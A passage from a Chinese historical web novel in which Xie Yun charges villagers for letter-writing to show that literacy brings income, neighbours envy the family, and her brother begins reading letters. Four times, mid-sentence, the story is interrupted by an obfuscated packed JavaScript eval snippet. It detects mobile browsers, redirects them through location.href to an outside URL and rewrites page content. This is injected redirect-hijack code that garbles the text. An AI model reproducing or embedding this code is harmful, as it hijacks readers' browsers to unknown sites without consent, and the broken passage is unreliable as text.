谢霁困惑道:“可我们要怎么做,才能让更多的孩子去读书呢?也给他们讲讲考上秀才的好处,鼓励他们去考科举?”自己就是听到秀才能免除徭役才坚定了读书的想法。 让所有人去考科举? 谢韫摇头,“我倒没有那么大的本事。” 人和人是不同的,有的人不甘平凡,自然想尽办法往上爬,有的人听天由命惯了,就想窝在一隅过个小日子。任凭你再怎么努力也改变不了这些本质上的差异。 可读书不止有科举这一个用途啊。 她道:“我只要让他们意识到读书能赚钱,能使庄稼丰收,能让家中老人小孩吃上饱饭穿上新衣,到那时自然就有人想要读书了。可书铺里的书籍昂贵,书塾里的夫子又挑三拣四,没有天赋者不收,一穷二白者不收,到那时,我这些物美价廉的启蒙书籍自然就成了他们的首选。” 谢霁听的若有所思,又问:“阿姐已经想好要做什么了?” 谢韫神秘一笑,“你且看着吧,到时候自然有用到你们的地方。” 次日,谢韫上完两节课,刚准备歇歇,村东头的葛五娘就带着儿媳妇上门来了。 王氏见二人早上来,明显不是拉闲来的,她将二人招呼进院里,问道:“嫂子怎么来了?可是有事?” 葛五娘道:“我寻你家大姐儿有点儿事。” 王氏只好将谢韫从屋里喊出来,葛五娘这才道明了来意。 原来她是来找谢韫写信的。她儿子上月被抽到北面服劳役修路去了,儿媳前两日被诊出已有了两个月的身孕,葛五娘就急着给儿子写信,想问问他路何时修完,人何时能回来。 可会写信的,思来想去,除了已故的谢先生,大概率就剩下他闺女了,是以即使两家没有太多的交情,她还是厚着脸皮求上门来了。 谢韫听到这个来意,先是一喜,心道可真是瞌睡来了遇枕头。但她面上不显,反而摆出一副为难的模样。 “婶娘,不是我不愿帮忙。若是爹爹还在,写也就写了,可我一个闺阁女儿家,若是我来写,到时寄过去,帮着冬生哥读信的大约会是劳役队里的文书官,这文书官是男子,女儿家的墨宝哪能轻易给外男看。” 王氏也道:“嫂子,确实是这个道理,你看如今我连门都不大让她出了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784953|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 葛五娘急道:“这可如何是好?”方圆十里的读书人,除了眼前这位,她知道的就只剩镇上的那位书塾夫子了,可夫子自持矜贵,从不帮乡下人写信。 跟着葛五娘一起来的儿媳张氏自打进门就一直没有说话,此时在旁边听着,商量道:“阿韫妹妹,不让你白写,我们付你写信的钱。我知道妹妹的字珍贵,可这也实在是没有办法了,你就帮嫂子这一次。” 谢韫只作沉思状,没有做声。 葛五娘又央着王氏帮忙劝,“她婶子,就让你家大姐儿帮帮忙吧,多少写几个字也好,日后你们若有了难处,只管吩咐我家就是。” “这......”王氏也不知如何是好,只好去看谢韫的脸色,同她商量:“要不就帮着你婶娘写一两句话,故意将字写的难看些?” 谢韫姿态拿够了,又有王氏帮着说情,这才勉为其难道:“好吧,不过也不敢多收婶娘的钱,往日我爹爹一封信多少钱,便也照价给我就行。” 她说罢,就径自到屋里去拿笔墨纸砚。 留下葛五娘和张氏一脸为难,往日里谢先生写信,他们何曾给过钱,又哪里知道是什么价钱。 等谢韫出来,葛五娘试探问道:“两文可成?” 谢韫听了有些意外,没想到写一封信竟能赚两文,要知道之前陶家赔他们十文可是跟割肉一般痛苦。她回忆了下原主的记忆,并没有找到之前她爹写信的价钱。不过如今她要的只是对方知识付费的意识,价格什么的都是其次,便点头答应了。 婆媳二人见状均是松了口气,刚才说了价钱,谢韫神色明显有些变化,她们还以为价格给低了,万幸最后答应了。 拿人钱财替人办事。谢韫收了对方的两文钱,便拿出了最好的服务态度。婆媳两人都有很多话想跟儿子或丈夫说,但她们你一言我一语,这个说儿媳妇有了身孕,那个又说六月间打了几石新麦、攒了几个鸡蛋,这样东拉西扯的内容,谢韫一边写一边还要注意分类归纳,怀孕的事儿先说,几石麦、几个鸡蛋的事另起一段再说。 最后写完一看,整整写了一页半。 谢韫玩笑道:“婶娘,还有什么想说的没有?还有半页纸,可不要浪费了。” 葛五娘想了半天,道:“那再说说前几日与赵家岭的人抢水的事。”那晚抢水她家也参与了。 谢韫依言将这事加上,刚好写满了两页纸。信里鸡毛蒜皮的琐事很多,婆媳两个似乎是想将亲人走后发生的所有事情都实况转播给他。 谢韫折好信纸,又从她爹留下的书箱里摸出一个信封,写上地址。 葛五娘婆媳俩见事情成了,连忙谢了又谢,“大姐儿是个心善人,日后定能嫁个如意郎君。” 在她们心里这是对女子最好的祝福,谢韫却不在意这些,她将信封口粘好,又教了她们如何寄信,才好好的将人送出门去。 谢霁正好到了课间休息,出来道:“阿姐可真厉害,如今没时间写话本了,倒是多了个写信的营生。” 谢韫笑道:“这就叫知识付费,跟书塾里的夫子收束脩是一个道理。从前爹爹写信,几乎从不收报酬,村邻们有事央求他几句就能免费得一封信,想写几页就写几页。所以他们压根儿意识不到知识的贵重。” “但是从今天开始,我写信可就要收费了。” 谢霁方才在屋里自习时,听到了院里的对话,早就看穿了谢韫故意拿乔的心思,此时不由调侃道:“不是说女儿家的字不能传出去?” 谢韫笑的坦然:“白得的当然不行,花钱就不一样了。岂不闻那秀才举人为了赚取赶考经费,当街支摊帮人写信作画,那可是被奉为雅事呢。” 谢霁看着她,知道她这是已经开始行动了。 9. 村邻的嫉妒 自从谢霁读书以来,王氏每隔几日就给姐弟俩一人吃一个鸡蛋,或打荷包蛋,或加点儿猪油伴着韭菜清炒,用有限的食材换着花样的给两人进补。 那些鸡蛋原本是打算攒起来拿到大集上去卖的,如今也顾不上那么许多了。不过好在自从葛五娘花了两文钱写信后,找上门来求信的人开始变得多了起来,家里又多了一项进项。 这还得感谢葛五娘歪打正着的吆喝。她生掏了两文钱,心疼的不行,此后逢人就要说一遍花钱请谢家大姐儿写信的事。村里人听了,总有那占便宜没够的私下说几句酸话,嫉妒人家赚钱的门道,可附近邻村的人听说后只觉得高兴。 以前谢先生帮村邻写信多是免费,村民们都习惯了,并不觉得是大新闻,传播的范围也就没那么广,隔个几里路的村镇多是不知道有这么一个能人的。 可谢韫不认人只认钱的做法却一传百百传十的迅速在周围的村镇传开了,本村人不愿花钱,外村人却觉得合理。读书人本就矜贵,花钱求信再正常不过。 有人为了求谢韫写一封信,不顾山路崎岖,整整走了大半日,翻了两座山才找对地方。 “姑娘,我是白云镇的,听说你两文钱就能帮着写一封信?请姑娘帮帮我,我爹出门去贩牲口,走了有大半年了,我想去信问问牲口贩的如何了,啥时候才能回来。” “嗐!我先来的,你上后面排队去。” 这人被人一挤,连着后退了好几步,站稳后刚想发作,转头一看竟是个包着头巾,怀抱婴儿的年轻妇人。 妇人可不管旁人怎么想,越过一众等候的人挤到最前面去,央求道:“谢姑娘,我已经排了好久的队了,我家住的远,得了信还得在天黑之前赶回家去呢,能不能先给我写,不多的,我就写一页纸。” 随着求信的人越来越多,谢韫对写信的页数做了规定,两文钱写一页纸,再往上则就是一页纸一文钱了。 被她插队的众人顿时不满了,纷纷道:“你这妇人,恁的没规矩,我等都是赶了大半日的路来的,谁不是要在天黑前赶回家去?” “是啊,快去后面排队,莫要扰了女先生的思绪。” 妇人被说的红了脸,踌躇的站在原地。 先前被她挤开的那人一看这阵势,啥话都不敢说了,悄悄走到队伍最末站着去了。 谢霁中午下课后就出来帮姐姐磨墨并维持秩序。 此时见众人全都一边倒的开始指责妇人,连忙解围道:“诸位,排队是我们定的规矩,可这位阿嫂怀里还抱着孩子,若是让她赶夜路,只怕孩子受不了夜里的寒凉。就请诸位略让一让她,不会耽误大家太久的。” 主家都这样说了,队伍里的众人再不满,也不好再过于苛责,只好退一步让妇人先写。 谢霁引妇人坐到书桌前的凳子上,道:“大家都是怜你怀中孩子太小,受不得劳累,这回让你先写,下回却是不能了。” 妇人感激的道了声“多谢”。 谢韫提笔蘸墨的空隙,抬头看了一眼弟弟,眼里满是赞许。王氏在屋里听着,本担心有人闹事,却没想到儿子三言两语就化解了这场风波,顿感欣慰,心道,这书可真是没有白读! 妇人泪眼婆娑的讲述起写信的原委。原来他丈夫三月前经舅舅介绍到隔壁县一富户家里去做长工,本来说好会在她临盆之前赶回来,可她独自一人生了孩儿,如今孩儿都快满月了丈夫仍迟迟不见归家,这才要去信问问情况,顺便让他寄些银钱回来,否则孩儿都要养不活了。 谢韫边听边写,很快一页纸就写完了。 旁边排队的人听见她的讲述也都十分同情。妇人生孩子本就是万分凶险的事,这时候丈夫还不在身边,留她一个人,也不知这段日子是怎么熬过来的。 排在她后面的一个中年妇人刚才还对她插队的行为愤愤不平,此时却同情道:“傻子,月子都还没出怎么敢走这么远的路?你是哪个村的?要是顺路,我们来时赶了牛车,回去时可以捎你一段。” 年轻妇人听了,满脸感激,道:“多谢大娘,我夫家是姚家庄的。” “哎呀,顺路,你等着,我写完信就捎你一起走。” 谢韫也转头吩咐谢霁:“带这位阿嫂进屋喝口水,歇歇脚。” “多谢姑娘,多谢!”年轻妇人紧了紧怀里的孩子,给了信钱,千恩万谢的跟着谢霁进屋去了。其他排队的人看了,也都纷纷赞扬中年妇人和谢韫的仁善之举。 “世上还是好人多啊!” 谢韫一直写到太阳落山,聚在谢家门前的人才渐渐散去。 今日也不知怎的,来求信的人扎了堆,大部分还都是外村的,谢韫为了攒个好口碑,不好让人家多等,整整写了一下午,谢霁只好一整个下午都在自习。 等到收摊的时候,就有同村的人三三两两借口从她家门前路过。院门开着,这些人往院里一看,就看见王氏正在收拾笔墨纸砚,有人装做不经意的问道:“他婶儿,今日银钱可赚足了?” 王氏但笑不语。另一个人不死心又问:“怕是不下一二十文吧?” 王氏还是不答,只将桌上装铜钱的匣子往前一斜,大大方方展示出来让他们自己看。展示完便不再理会众人羡慕嫉妒恨的眼神,抱着钱匣子扭身进屋去了。 八卦的村民们倒吸了一口凉气,吸完有人估计道:“绝对不下二十文。” 另一人直接给出准数:“一共二十五文。” 其他人全都转头去看这个说话的人,发现原来是刘老抠。刘老抠和他婆娘在村里抠搜出了名,才得的这个诨号,村人背地里都叫这两口子铁公鸡。 有人问:“刘老抠,你又没写信,咋那么肯定呢?” 刘老抠得意道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784954|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那草垛里窝了一下午,当然是一文一文数出来的。” 众人这下全信了,银钱只要过了刘老抠的眼,从来就没有算错的时候。 有人是单纯眼热,“谢家大姑娘可真是能干,将来谁家要是得了她去,那不就跟得了一座金山似的。”说话间心里已经盘算开了,自家哪个亲戚家有那头脸整齐的适婚少年,这座金山要是能搬到自己家去就好了。 有人则是直接犯了红眼病:“这家人是黑了心啊,只想着自家挣钱,连邻里的情分都不顾了。谢先生在时,哪曾这样不厚道过?不行,大伙儿都跟我去找村长,我今日非得跟村长说道说道不可。” 刚刚还你一言我一句的众人,这时都不搭腔了。 那人见没人响应,左看看右看看,最后将目标定在了刘老抠身上,怂恿道:“老哥,你说句话,要不要跟我一块儿去找村长?” 刘老抠平日是一毛不拔,却也不傻,他看着那人哂笑反问:“你前儿去大集上卖鸡蛋,足足赚了十六文,可愿拿出来跟大伙儿平分?” 那人脱口而出,“你这是什么话?我家的鸡蛋凭什么......”说到一半,见其他人都掩着嘴笑,瞬间反应过来,顿时涨红了脸,冷哼一声疾步而去。 刘老抠则是一派悠闲,背着手慢悠悠踱着步子回家去了。 留下其他人惊奇道:“刘老抠这是转性了?” 要说这人最让人恨的牙痒痒的地方,还真不是他一毛不拔,而是别家的收成进项,一分一厘他都能给你算的清清楚楚,活像是藏在炕头亲耳听到了人家两口子半夜的私房话。 村里人谁家有了好收成好进项,哪怕是今年新麦多打了二斤,大集上多卖了几捆柴禾,都得严严实实的捂着,生怕自家这点儿钱叫这人给抖落的人尽皆知。 门前的对话王氏进了屋也能清清楚楚的听到。待人散尽后她才忍不住问闺女:“都说财不露白,你为啥还让我巴巴的主动给人家去看?” 谢韫正悠闲的吃着今日一个求信的人送的甜杏,答道:“要是不给看,他们咋会相信读书能致富呢?” 不止这一次要看,以后每次只要写信赚了钱,她都要想方设法的宣传出去,最好让大家都眼红眼热。 “不过宣传归宣传,不能带来安全隐患。”谢韫沉吟道:“阿娘,你明日就到镇上去割半斤猪肉,回来时记得拎着在村里走一圈儿,让大家都知道咱们这钱已经花出去了。” 她本意是让众人羡慕嫉妒,进而产生自家也要读书识字的想法。可别本末倒置,让贼给惦记上。 王氏痛快答应道:“确实该添点儿油水了,你们俩这些日子都瘦的厉害。” 谢韫看了一眼自己,再看谢霁,谢霁确实瘦了,一来他学习压力大,二来正在抽条长身体,可自己似乎还好,去年的夏衫本就做的宽大,今年穿在身上晃晃荡荡也正常。 10. 读书能致富 刘老抠确实没有改性。他那一派悠闲的模样就是做给外人看的。等回到家院门一关,顿时就原态毕露起来。 钻了一下午草垛,此时连身上的灰都来不及掸,他边往屋里去,边扯着嗓子喊:“守仓他娘,你干啥呢?” 邱氏正忙着,一听丈夫叫她,忙放下手里的活儿,后脚就跟着进了屋。 刘老抠正焦躁的满地乱转圈,邱氏忙问:“叫我干啥?出啥事了?” 刘老抠将下午的事原原本本说了。 谢韫给葛五娘一封信两文钱的事邱氏早就听说了,可她没料到竟会有这么多人去找谢韫写信。一天二十五文,十天就是二百五十文,一个半月就能挣一贯! “我的老天爷,这女娃娃本事不小啊!”邱氏此刻只恨这买卖不是自家的。 刘老抠唉声叹气,“眼红吧?眼红有什么用?这生意咱家能做的起来?” 自然做不起来。村里虽也有几个上私塾的,可学了几年了都是半吊子,莫说写信了,就连读信都读不明白。谁都没法子去分她家一杯羹。 邱氏也开始焦躁起来,得想个法子才好啊! 正在这时,她那六岁的独苗刘守仓风风火火的跑回来了,人还没进屋就喊饿。 “娘,饭好了没有?” 邱氏顿时像是通了七窍一般,眼前一亮,一把抓住刘老抠的胳膊,激动道:“当家的,让守仓去读书!” “啥?”刘老抠惊的瞪大了眼睛,看看自己的婆娘又看看正好进屋的儿子,有一瞬间的心神澎湃,但这情绪又很快冷却下去。 “胡说啥呢,书是那么容易读的?陶家那个傻蛋读了三年了,听说还整日被夫子打手心呢。还有赵家的那个,七八十文的书,一本接一本的往回买。家里供了好几年了,也没见会写信。” 他骂道:“你以为咱家是那富户老爷,有万贯家财由着你儿子糟蹋?” 被丈夫一骂,邱氏顿时就蔫儿了。 还是个小小稚童的刘守仓并不明白爹娘在争论什么,他只听明白了娘想叫他读书,爹爹却不让。刘守仓赶紧嚷道:“我也想读书,阿霁哥读了书,可会讲故事了。” “啥?”刘老抠被儿子的话惊了一跳,“你说谁读书了?谢霁?三娃子?” “就是阿霁哥。”刘守仓十分肯定的点头,又怕爹爹不信,大声道:“阿霁哥会背千字文,他还教我背,天地玄黄,宇宙洪荒......宇宙洪荒......”刘守仓翻来覆去,却也只记住了两句。 邱氏却不肯相信,“谢霁怎么可能会读书?怕是谢先生在世时帮人写信,他常年累月的在旁边看着,学了一两个字也是有可能的。” 刘老抠眼神直愣愣的,不知在想什么,没接她的话。 邱氏见他脸色不对,问道:“他爹,你不会是信了吧?” 刘老抠就将下午谢霁解决插队风波的事说了,末了道:“当时我就觉得奇怪,那娃娃从前一直是个孤僻性子,见了人连话都很少说,怎么突然就跟变了个人似的,现在看来,只怕确实是读了书的缘故。” 邱氏纳闷道:“他家就一个女人支应门户,不饿死就罢了,哪来那许多钱供人读书?”要说写信赚钱,也才是这几日的事情。 刘老抠此时已回过味来,跟邱氏细细分析道:“肯定是王氏央着谢韫教的。帮人写信是多大的一笔进项,谢韫将来嫁人,她那后娘能甘心让她把这座金山搬到别人家去?” 邱氏恍然大悟,酸道:“是了,倒不如让她教谢霁读书识字,既不用花钱,还能把这座金山留在自家。” 她不由感叹,那妇人平日里顶多看着泼悍些,想不到竟还是个这么有成算的。 邱氏转念道:“谢霁都十三了,平日也不见有多聪明,连他都能读书,咱家守仓年纪小脑瓜子又机灵,要是读书肯定比他读的好。” 更重要的是,“要是守仓学会了写信,那二十五文不就变成咱家的了?”日日二十五文,经年累月,迟早能把读书的花费赚回来。 刘老抠被邱氏说的动了心,他低头问儿子:“你真的想读书?” 刘守仓眼睛发亮的点头,大声道:“等我读了书,也写信挣钱。” “好儿子,有志气。” 刘老抠夸完了儿子,谨慎起见又对邱氏道:“读书不是小事,你让我再好好想想。” 他得好好算算这事到底是成本高还是回报高。 刘老抠的账还没有算清楚,谢家的肉香已经飘出了二里地,馋的左邻右舍口水流了三尺长。 柳婶子家的二福年纪小,抵挡不住这诱惑,正在帮他娘烧火,这下火也不烧了,蹦起来就要往出跑,嘴里还嘟囔着“我要去阿霁哥家吃肉。” 柳婶子一听,急斥一句“你给我站住”,大步跨过去就揪住了他的后脖颈,将人往怀里一揽,大声喊道:“当家的,快把门拴上,莫让这小崽子跑出去丢人。” 秦大山“哎”了声,依言栓了门。 厨房里二福一看自己出不去了,直接一屁股坐到地上就闹开了。他扯着他娘的裤腿儿,鼻涕一把眼泪一把的嚎了起来。 “我要吃肉,我要吃肉......” 柳婶子直接被气的心肝疼,一连骂了好几句“你这冤家”,眼见秦大山进来了,又将邪火往他身上撒,“要吃肉,谁叫你没个有本事的老子娘呢?你老子娘要是也会那写信的营生,这会儿定也割了肉来让你撑死。” “小声些。”秦大山忙道:“两家就隔了一道院墙,说什么写信不写信的,没得叫人家听见了多心。” 各家有各家的日子,他们不是那平白眼红看不得别家好的人,妻子也就是抱怨两句,但万一听在别人耳朵里又得生出另一番是非了。 柳婶子正在气头上,被这么一提醒,也恢复了些理智,嘴里依旧大骂冤孽,却再不提写信的话。 院墙这边,谢韫打从隔壁院开始热闹就出来了,站在墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784955|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根底下听了一会儿,此时见王氏端着肉出来在院里摆饭,走过去轻声道:“我听见二福哭喊着要吃肉,被柳婶子打了一顿。” 王氏自然知道是自家的肉香惹的祸,道:“出锅时我已经给你柳婶子家留出了一些,你这会儿就给端过去吧,两家相邻住着,从前人家也没少帮过咱们。”尤其是从前她寡居的时候,承了秦大山不少的人情。 “我这就去。”谢韫答应着去给柳婶子家送肉。 柳婶子开门时既意外又不好意思,“这怎么行?你们家好不容易开个荤,我们哪好意思占便宜。” “没事,”谢韫笑道:“阿娘说了,我们两家之间不必说这些客气话的。” 柳婶子并不肯轻易接,还在搜肠刮肚想说些推辞的话,不料身后二福突然两只手就伸了出来,一把端过肉碗,丢下一句“谢谢阿韫姐”,人就窜进屋里去了。 柳婶子还能再说什么,只好谢了又谢,将谢韫送出去,说好饭后再给她家还碗。 送走了人,等进到屋里,肉碗已经空了一半,二福吃的满面油光,此时正拿着一个光溜溜的骨头啃,要不是咬不动,真恨不得连骨头都咬碎吞下去。 二福边啃边说道:“娘,这是留给你和爹的,快些吃,可香了。” 柳婶子初看见他这副模样,正想骂两句,可一听这话,眼泪都出来了,只恨自己没本事。转头从箱底摸出五文钱交给秦大山,“改明儿去镇上买点儿猪油回来,多少也算是个荤腥了。” 秦大山嫌少,“上回卖鸡蛋的钱不是还没用?要不割些肉回来吧,孩子都馋成啥样了。” 柳婶子听了,直接眼一瞪,“咱家能跟他王婶儿家比?割些肉?割多少才够?大福和他媳妇儿明日就该回来了,只要开了头,家里这么多张嘴,就算天天卖鸡蛋也不够吃顿肉的。” 秦大山顿时哑了。大儿媳彩礼高,去年接亲的时候几乎掏空了家底,两人如今拼命勒紧裤腰带,就是为了给未出世的孙子和小儿子攒钱呢。 谢韫送完了肉就回去了,并不知道柳婶子家的这场争执。 家里也是许久没开过荤了,之前虽然写话本攒了几个钱,但娘儿三个都不敢轻易动,之前谢安离世时家里连副棺材都打不起的阴影依旧还在。 这次却是托了谢韫特意炫耀的福。写信挣来的全花了出去,娘儿三个美美的过了一顿嘴瘾。 实际上,开始时王氏筷子只往那萝卜白菜上夹,嘴里推说着自己不爱吃肉。谢韫却认了真,直接道:“人有大小嘴无大小,咱家一共就三个人,合该有福同享有难同当,如此日后劳作起来才会人人尽心。你看村里那几个日日闹分家的人家,就是因为长辈没有做好表率,将儿女教育成了个只顾自己的,这才分家只想把老子娘分出去。” 又问她:“你是想让我和阿霁日后也有样学样只顾自己么?” “这……哪有这么严重,我吃还不行么?”王氏这才开始跟着一块儿吃肉。 11. 谢霁读信 一顿中午饭,吃的谢霁下午干劲儿十足,不仅背书速度快了,力气也大了。上完课帮着王氏往地里背了两回沤好的粪肥后,又马不停蹄的投入到晚间作业里去了。 不过他边做作业边干呕,“阿姐,你这是沤的什么肥,我从未闻见过这么恶心的味道。” 谢韫正在厨房做饭,听见了答道:“你懂什么,越臭效果才越好,这是我从前从书上看来的方子。” 谢霁听得半信半疑,谢韫也不跟他多言,只道:“等到收成的时候你就知道了。” 谢霁耸耸肩,嘟囔,“只听说过书里有啥黄金屋,还从没听过有粪肥呢。” 不过这话他也只敢小声说给自己个儿听,如今阿姐是夫子,威严得很。平日里他跟她说话,心里都得先过一遍才敢说出来呢。 谢霁晚间作业做的飞快,做完后又拿起书本开始背诵。这种白天学晚上背的模式,刚开始时执行起来简直是地狱模式,可经过了两个多月的磨炼,如今做起来已经习惯成自然,觉不出来有多吃力了。 正背着书,柳婶子来还中午的碗了。一进门见谢霁手里拿着本书,顿时惊讶道:“阿霁这是……在读书?” 谢韫听见动静从厨房出来,接碗时随口道:“对,多读些书,日后写信的营生他也能帮帮我。” 柳婶子心里一紧,谢家果然将写信作为一个长远营生来打算的。 刘老抠昨日的估算她在家也听到了,他们虽然没有刘老抠那样精明,可这笔账稍稍算个大概就能惊出人一身冷汗。 两家的日子从前差不多,甚至自家因为有男人还过的稍好些,可日后,柳婶子似乎已经看到了两家越来越大的差距。 “阿霁也学会写信了?”她试探一句。 谢韫道:“才学了几个月,还欠些火候,不过读信倒是差不多了,我准备日后读信的活儿就交给他了,也是个锻炼。” 谢韫读信并不收钱,但来央求读信的人往往会写一封回信。 柳婶子僵着脸,心里不是滋味的回去了。 她脸色不对,连谢霁都看出来了。等人走后疑惑道:“柳婶子从前不是和阿娘很要好么?怎么一听咱家挣钱了竟是这幅表情?” 谢韫则道:“羡慕嫉妒都是人之常情,要是不攀比哪来的上进心?不过像柳婶子这样的只在心里羡慕,然后再回去琢磨自家的日子,不像村里那些得了眼红病的,羡慕嫉妒之后就是恨了,那才是要提防的。” 谢霁听罢,道:“我明白了,阿姐的办法就是激起他们的羡慕嫉妒之情,这样往读书之路上想的人才会多起来。” “正是如此。”谢韫点头,“不过如今刺激还不够,日后还得再加大力度才行。” 谢霁则还记着谢韫说的让他读信的话,“姐姐真的要将读信的任务交给我?” “当然,开蒙课程你已经学的差不多了,明日开始你就负责读信,到时有不认识的字就去翻我给你的那本《识字大全》。” 《识字大全》是她新近编写出来的,里面的字全是按照字族之法归类出来的,例如人的身体一章,收录的就全是人的各个身体部件名称,常见问候一章,收录的就是日常问候所用到的字词。 开蒙的主要目的之一就是积累识字量,如今《百家姓》《三字经》《千字文》这些书的识字量加起来已经有了一两千,再加上一千多字的《识字大全》,谢霁的识字量已达到了寻常稚童一两年的量。 这个量如今虽有些囫囵吞枣,但只要接下来经过大量的练习,不愁他消化不了。 等到第二日再开始写信的时候,只要有人来央求读信,谢韫一律将人指到谢霁那头去。 外村不知情的人啥话不说就去了,本村知情的则吃惊不小,“阿韫,你莫不是糊弄我?你们家谢霁大字不识一个,如何就会读信了?”又道:“你家读信是不收钱,可我待会儿还要写信,铜板照样还是要给出去的。” 这人说完,谢韫还没开口,王氏先就回道:“识不识得字,你过去试试不就知道了?再者说了,我家阿霁这几月跟着他姐姐读书,很是有长进,读信算什么,再过几日写信都使得。” 王氏扔下地里的活儿,专门守在自家门边,就是应承了谢韫的安排,专为造势来的,此时边说边将胸脯拍的嘭嘭响,“阿霁,过来给你田叔读信,让大家都听听看可有读的不合理之处?” “王氏,你莫要为了自己的面子说大话教坏了孩子。” 突然跳出来说话的是陶大娘,本姓孙,是王氏的前婆婆。 不过几日的功夫,人人都传说谢家要发家了。传言传的孙氏心痒难耐,今日正好跟在人堆里来凑热闹。 好巧不巧让她逮住个机会教训一番这个白眼狼的儿媳妇。 此时,她端足了长辈的架子,虎着脸道:“小五上学堂三年了,如今还不敢说会读信哩,三娃子才跟着胡乱读了几日你就敢说大话,也不怕闪了舌头,真是丢我们陶家的脸。” 王氏被骂的涨红了脸,一口气卡在嗓子里出不来咽不下去。谁叫那是她的前婆婆,打不得骂不得。 谢韫可不管那些,冷笑一声道:“陶家阿奶莫不是老糊涂了?要丢也是丢我们谢家的人,跟你们姓陶的有何相干?” “你说什么?”孙氏在家里说一不二惯了,没料到竟有人敢跟自己叫板,怒道:“死丫头,他就算改了名姓,身上也还流着我儿子的血,将来还得给我老婆子养老送终……” “胡说八道!” 孙氏话未说完,谢韫一掌拍在桌子就站了起来,骂道:“真是上梁不正下梁歪,你们陶家一窝子不要脸到家了,我弟弟改姓承继的是我谢家的香火,却没想到你们收了钱竟还打着夺人子嗣的念头。” 她不管不顾,大声道:“我朝传承百余年,我还从未听说过继子又重新回去奉别家香火的例子。如此不顾人伦,你怕是欺我家没有能说话的人。罢了罢了,各位叔伯婶子,还请见谅,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784956|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿个的信写不成了,我要去找里正和村长评理去!” 如今谁都知道里正和村长是谢家的靠山。 谢韫这样一顶大帽子扣下来,孙氏险些气得闭过气去,“我何时说过要夺你家子嗣,我是说三娃子......” 话依旧没说完,又被谢韫打断,“不必说了,跟我去村长家评理去。” 谢韫眼见着不依不饶,一声令下,王氏和谢霁就忙过来作势收拾笔墨纸砚。 那些千里迢迢赶来求信的人顿时就急了,忙道:“怎么就不写了?姑娘,千万莫跟这不讲理的妇人置气,我这信是寄到邻县商量生意的,耽误不得啊。” 另一人也道:“是啊是啊,我老娘病重,需得赶紧叫回几个小姑子,也是耽误不得啊。” 听着大家的央求,谢韫脸上闪过一丝犹豫之色。 先前质疑谢霁不会读信那人也一阵心虚,自己疑惑本来也正常,偏偏被陶家那老货接了话茬,闹到这一步,没得让人家以为自己和这老货是一伙儿的。 他连忙也跟着劝:“阿韫,莫气了,阿霁若是你教出来的,我还有什么不放心的。”又瞪着孙氏道:“你家出不了读书人,人家也出不了了?好好的孩子当年不管不顾,如今眼看着出息了又想来争,没你这样不顾脸面的。” “你!”孙氏在谢韫跟前吃了亏,如今又被同村人奚落的面上挂不住,眼看着这人话头一起,其他人竟为了写信全都一股脑儿站到了谢韫那边,对自己指指点点,一人非众人的对手,只好缩着脖子回家去了。 谢韫则是见着风向一边倒了,这才重新坐下来,该写信的继续写,该读信的也叫过去读。 谢霁果然争气,说是会读信果然会读。那人听他念完后,发现上面所说之话全都合情合理,里面提到的事情也跟自己之前信里提到的一致,顿时满意道:“是我小瞧人了,你姐姐之前说你才跟着读了几个月的书?” 谢霁点头:“快三个月了。” “这可真是……”那人惊诧道:“莫不是风水的问题?咱们村里那些上私塾的读的最短的也将近一年了,陶家小五更是念了两三年,莫说写信,怕是读也不会读啊。” 谢霁羞赧一笑,“田叔莫要再夸了,大家读书之法不一样,进度自然也是有所差别的,我所读之书,全都是姐姐自己编写出来的,姐姐所教之法也是最适合我之法,所谓因材施教,是以效果才如此明显。” “你姐姐自己编写出来的?”旁边人听着更是惊奇,“莫非这书是神书?竟比学堂里的夫子还管用。”明明学几个月就能学成的,私塾里硬是给教了好几年,还没什么效果。 谢韫那边听到了动静,忙道:“叔,各人有各人的教法,可不敢编排夫子啊。” 那人反应过来,面皮一红,补救道:“是我说岔了,说岔了。” 眼见谢霁真的会读信,那些还排在队伍里却只需要读信的人连忙往他这边来,一时间,谢家门前热闹非凡。 12. 第一单生意 